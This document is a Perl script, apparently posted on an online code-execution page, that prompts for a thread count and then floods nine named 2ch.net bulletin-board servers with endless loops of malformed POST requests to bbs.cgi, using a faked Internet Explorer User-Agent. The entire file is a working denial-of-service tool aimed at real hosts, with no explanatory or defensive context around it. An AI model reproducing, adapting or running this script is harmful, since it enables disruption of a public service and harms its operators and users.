fork download
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use warnings;
  5. use threads;
  6. use threads::shared;
  7. use Socket;
  8.  
  9. print "スレッド数を指定してください:";
  10. my $thread = <STDIN>;
  11. chomp $thread;
  12.  
  13. my $raichoipaddr = inet_aton( "raicho.2ch.net" );
  14. exit if (!$raichoipaddr);
  15. my $raicho = sub{
  16. while(){
  17. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  18. connect(SOCK, sockaddr_in("80", $raichoipaddr));
  19. select(SOCK);
  20. $|=1;
  21. select(STDOUT);
  22.  
  23. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  24. print SOCK "Accept: */*\r\n";
  25. print SOCK "Referer: http://r...content-available-to-author-only...h.net" . "/news/\r\n";
  26. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  27. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  28. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  29. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  30. print SOCK "Host: raicho.2ch.net\r\n";
  31. print SOCK "Content-Length: 1\r\n";
  32. print SOCK "Connection: Keep-Alive\r\n";
  33. print SOCK "\r\n";
  34.  
  35. close(SOCK);
  36.  
  37. threads->yield();
  38. }
  39. };
  40.  
  41.  
  42. my $hatsukariipaddr = inet_aton( "hatsukari.2ch.net" );
  43. exit if (!$hatsukariipaddr);
  44. my $hatsukari = sub{
  45. while(){
  46. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  47. connect(SOCK, sockaddr_in("80", $hatsukariipaddr));
  48. select(SOCK);
  49. $|=1;
  50. select(STDOUT);
  51.  
  52. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  53. print SOCK "Accept: */*\r\n";
  54. print SOCK "Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n";
  55. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  56. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  57. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  58. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  59. print SOCK "Host: hatsukari.2ch.net\r\n";
  60. print SOCK "Content-Length: 1\r\n";
  61. print SOCK "Connection: Keep-Alive\r\n";
  62. print SOCK "\r\n";
  63.  
  64. close(SOCK);
  65.  
  66. threads->yield();
  67. }
  68. };
  69.  
  70.  
  71. my $tokiipaddr = inet_aton( "toki.2ch.net" );
  72. exit if (!$tokiipaddr);
  73. my $toki = sub{
  74. while(){
  75. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  76. connect(SOCK, sockaddr_in("80", $tokiipaddr));
  77. select(SOCK);
  78. $|=1;
  79. select(STDOUT);
  80.  
  81. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  82. print SOCK "Accept: */*\r\n";
  83. print SOCK "Referer: http://t...content-available-to-author-only...h.net" . "/news/\r\n";
  84. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  85. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  86. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  87. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  88. print SOCK "Host: toki.2ch.net\r\n";
  89. print SOCK "Content-Length: 1\r\n";
  90. print SOCK "Connection: Keep-Alive\r\n";
  91. print SOCK "\r\n";
  92.  
  93. close(SOCK);
  94.  
  95. threads->yield();
  96. }
  97. };
  98.  
  99.  
  100. my $qb5ipaddr = inet_aton( "qb5.2ch.net" );
  101. exit if (!$qb5ipaddr);
  102. my $qb5 = sub{
  103. while(){
  104. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  105. connect(SOCK, sockaddr_in("80", $qb5ipaddr));
  106. select(SOCK);
  107. $|=1;
  108. select(STDOUT);
  109.  
  110. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  111. print SOCK "Accept: */*\r\n";
  112. print SOCK "Referer: http://q...content-available-to-author-only...h.net" . "/news/\r\n";
  113. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  114. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  115. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  116. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  117. print SOCK "Host: qb5.2ch.net\r\n";
  118. print SOCK "Content-Length: 1\r\n";
  119. print SOCK "Connection: Keep-Alive\r\n";
  120. print SOCK "\r\n";
  121.  
  122. close(SOCK);
  123.  
  124. threads->yield();
  125. }
  126. };
  127.  
  128.  
  129. my $kamomeipaddr = inet_aton( "kamome.2ch.net" );
  130. exit if (!$kamomeipaddr);
  131. my $kamome = sub{
  132. while(){
  133. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  134. connect(SOCK, sockaddr_in("80", $kamomeipaddr));
  135. select(SOCK);
  136. $|=1;
  137. select(STDOUT);
  138.  
  139. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  140. print SOCK "Accept: */*\r\n";
  141. print SOCK "Referer: http://k...content-available-to-author-only...h.net" . "/news/\r\n";
  142. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  143. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  144. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  145. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  146. print SOCK "Host: kamome.2ch.net\r\n";
  147. print SOCK "Content-Length: 1\r\n";
  148. print SOCK "Connection: Keep-Alive\r\n";
  149. print SOCK "\r\n";
  150.  
  151. close(SOCK);
  152.  
  153. threads->yield();
  154. }
  155. };
  156.  
  157.  
  158. my $hibariipaddr = inet_aton( "hibari.2ch.net" );
  159. exit if (!$hibariipaddr);
  160. my $hibari = sub{
  161. while(){
  162. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  163. connect(SOCK, sockaddr_in("80", $hibariipaddr));
  164. select(SOCK);
  165. $|=1;
  166. select(STDOUT);
  167.  
  168. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  169. print SOCK "Accept: */*\r\n";
  170. print SOCK "Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n";
  171. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  172. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  173. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  174. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  175. print SOCK "Host: hibari.2ch.net\r\n";
  176. print SOCK "Content-Length: 1\r\n";
  177. print SOCK "Connection: Keep-Alive\r\n";
  178. print SOCK "\r\n";
  179.  
  180. close(SOCK);
  181.  
  182. threads->yield();
  183. }
  184. };
  185.  
  186.  
  187. my $hatoipaddr = inet_aton( "hato.2ch.net" );
  188. exit if (!$hatoipaddr);
  189. my $hato = sub{
  190. while(){
  191. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  192. connect(SOCK, sockaddr_in("80", $hatoipaddr));
  193. select(SOCK);
  194. $|=1;
  195. select(STDOUT);
  196.  
  197. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  198. print SOCK "Accept: */*\r\n";
  199. print SOCK "Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n";
  200. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  201. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  202. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  203. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  204. print SOCK "Host: hato.2ch.net\r\n";
  205. print SOCK "Content-Length: 1\r\n";
  206. print SOCK "Connection: Keep-Alive\r\n";
  207. print SOCK "\r\n";
  208.  
  209. close(SOCK);
  210.  
  211. threads->yield();
  212. }
  213. };
  214.  
  215.  
  216. my $hayabusaipaddr = inet_aton( "hayabusa.2ch.net" );
  217. exit if (!$hayabusaipaddr);
  218. my $hayabusa = sub{
  219. while(){
  220. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  221. connect(SOCK, sockaddr_in("80", $hayabusaipaddr));
  222. select(SOCK);
  223. $|=1;
  224. select(STDOUT);
  225.  
  226. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  227. print SOCK "Accept: */*\r\n";
  228. print SOCK "Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n";
  229. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  230. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  231. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  232. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  233. print SOCK "Host: hayabusa.2ch.net\r\n";
  234. print SOCK "Content-Length: 1\r\n";
  235. print SOCK "Connection: Keep-Alive\r\n";
  236. print SOCK "\r\n";
  237.  
  238. close(SOCK);
  239.  
  240. threads->yield();
  241. }
  242. };
  243.  
  244.  
  245. my $yuzuruipaddr = inet_aton( "yuzuru.2ch.net" );
  246. exit if (!$yuzuruipaddr);
  247. my $yuzuru = sub{
  248. while(){
  249. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
  250. connect(SOCK, sockaddr_in("80", $yuzuruipaddr));
  251. select(SOCK);
  252. $|=1;
  253. select(STDOUT);
  254.  
  255. print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
  256. print SOCK "Accept: */*\r\n";
  257. print SOCK "Referer: http://y...content-available-to-author-only...h.net" . "/news/\r\n";
  258. print SOCK "Accept-Language: ja,en;q=0.5\r\n";
  259. print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
  260. print SOCK "Accept-Encoding: gzip, deflate\r\n";
  261. print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
  262. print SOCK "Host: yuzuru.2ch.net\r\n";
  263. print SOCK "Content-Length: 1\r\n";
  264. print SOCK "Connection: Keep-Alive\r\n";
  265. print SOCK "\r\n";
  266.  
  267. close(SOCK);
  268.  
  269. threads->yield();
  270. }
  271. };
  272.  
  273.  
  274. my @raichothreads;
  275. my @hatsukarithreads;
  276. my @tokithreads;
  277. my @qb5threads;
  278. my @kamomethreads;
  279. my @hibarithreads;
  280. my @hatothreads;
  281. my @hayabusathreads;
  282. my @yuzuruthreads;
  283.  
  284.  
  285. my $i = 0;
  286. while ( $i < $thread ) {
  287. $raichothreads[$i] = threads->new($raicho);
  288. $hatsukarithreads[$i] = threads->new($hatsukari);
  289. $tokithreads[$i] = threads->new($toki);
  290. $qb5threads[$i] = threads->new($qb5);
  291. $kamomethreads[$i] = threads->new($kamome);
  292. $hibarithreads[$i] = threads->new($hibari);
  293. $hatothreads[$i] = threads->new($hato);
  294. $hayabusathreads[$i] = threads->new($hayabusa);
  295. $yuzuruthreads[$i] = threads->new($yuzuru);
  296. ++$i;
  297. }
  298. my $b = 0;
  299. while ( $b < $thread ) {
  300. $raichothreads[$b]->join;
  301. $hatsukarithreads[$b]->join;
  302. $tokithreads[$b]->join;
  303. $qb5threads[$b]->join;
  304. $kamomethreads[$b]->join;
  305. $hibarithreads[$b]->join;
  306. $hatothreads[$b]->join;
  307. $hayabusathreads[$b]->join;
  308. $yuzuruthreads[$b]->join;
  309. ++$b;
  310. }
  311.  
Not running #stdin #stdout 0s 0KB
stdin
Standard input is empty
stdout
Standard output is empty